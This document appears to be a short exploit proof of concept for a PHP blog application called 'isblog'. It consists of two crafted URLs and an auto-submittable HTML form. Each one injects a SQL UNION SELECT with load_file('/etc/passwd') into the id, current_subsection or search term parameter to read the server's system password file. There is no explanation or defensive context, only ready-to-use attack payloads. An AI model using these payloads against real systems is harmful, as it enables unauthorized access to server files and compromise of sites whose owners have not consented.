http://www.example.com/isblog/index.php?id=-99+union+select+0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*
http://www.example.com/isblog/index.php?current_subsection=-99+union+select+0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*
<form action="http://www.example.com/isblog/index.php?action=search" 
method="post">
<input type="hidden" name="term" value="-99' union select 
0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*">
<input type="submit" value="send">
</form>